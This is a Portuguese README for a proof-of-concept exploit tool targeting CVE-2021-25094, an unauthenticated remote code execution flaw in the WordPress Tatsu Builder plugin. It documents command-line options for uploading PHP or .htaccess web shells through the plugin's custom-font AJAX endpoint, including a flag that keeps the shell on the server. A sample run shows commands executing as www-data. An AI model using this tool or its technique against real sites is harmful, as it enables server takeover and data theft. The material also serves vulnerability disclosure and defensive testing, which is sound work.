
Exploit de prova de conceito para execução remota de código não autenticada no plugin WordPress Tatsu Builder (CVE-2021-25094). Suporta múltiplas técnicas de shell, proxy e níveis de compressão.
PoC simples de um RCE não autenticado no Tatsu Builder <= 3.3.11, fornecido como exemplo.
Artigo completo aqui: https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/
Uso:
python3 exploit-rce.py [-h] [--technique TECHNIQUE] [--customShell CUSTOMSHELL] [--keep KEEP] [--proxy PROXY] [--compressionLevel COMPRESSIONLEVEL] url cmd
positional arguments:
url URL vulnerável do WordPress (exemplo: https://mywordpress.com/)
cmd Comando do SO a executar
optional arguments:
-h, --help show this help message and exit
--technique TECHNIQUE
Técnica de shell: php | htaccess | custom
--customShell CUSTOMSHELL
Fornecer um arquivo PHP de shell personalizado que receberá um cmd em base64 como entrada $_POST['text']
--keep KEEP Não auto-destruir o shell PHP enviado
--proxy PROXY Especificar e usar um proxy HTTP (exemplo: http://localhost:8080)
--compressionLevel COMPRESSIONLEVEL
Nível de compressão do arquivo zip (0 a 9, padrão 9)
Exemplo:
└─$ python3 exploit-rce.py http://wordpress/ id
|=== Tatsudo: exploit de RCE pré-autenticação para plugin Tatsu do WordPress <= 3.3.11
|=== CVE-2021-25094 / Vincent MICHEL (@darkpills)
[+] Gerando um zip com técnica de shell 'php'
[+] Enviando arquivo zip para http://wordpress//wp-admin/admin-ajax.php?action=add_custom_font
[+] Upload OK
[+] Acionando shell em http://wordpress/wp-content/uploads/typehub/custom/hjf/.bfzwt.php
[+] Exploit bem-sucedido!
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] O arquivo shell foi auto-excluído, mas o diretório pai permanecerá no servidor web
[+] Trabalho concluído